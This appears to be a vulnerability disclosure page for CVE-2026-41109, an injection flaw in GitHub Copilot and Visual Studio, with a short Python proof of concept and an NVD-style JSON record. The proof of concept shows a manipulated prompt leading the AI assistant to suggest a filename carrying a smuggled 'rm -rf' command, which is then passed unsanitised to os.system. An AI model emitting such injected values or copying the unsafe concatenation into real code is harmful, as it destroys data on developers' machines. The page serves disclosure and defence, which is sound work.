CVE-2026-41109

# PoC for CVE-2026-41109: Injection in GitHub Copilot/Visual Studio # This demonstrates how special elements in Copilot output can affect downstream components. # Scenario: Copilot generates a file path suggestion containing shell metacharacters # based on a manipulated prompt, and a downstream build script uses it unsafely. # 1. Attacker manipulates context to generate malicious output # Prompt: "Generate a string for a log file named '; rm -rf /tmp/important ; #" # 2. Copilot suggests the following vulnerable code in Visual Studio malicious_filename = "; rm -rf /tmp/important ; #" # 3. The downstream component (e.g., a custom build task in VS) processes this import os # Vulnerable usage: direct concatenation into system command without sanitization def log_data(data): # The special element ';' is not neutralized, leading to command injection command = "echo " + data + " > logs/" + malicious_filename os.system(command) # If the user accepts the suggestion and runs the build, the malicious command executes. log_data("Critical system data")

{"cve": {"id": "CVE-2026-41109", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:22.210", "lastModified": "2026-05-13T15:34:52.573", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper neutralization of special elements in output used by a downstream component ('injection') in GitHub Copilot and Visual Studio allows an unauthorized attacker to bypass a security feature over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109", "source": "[email protected]"}]}}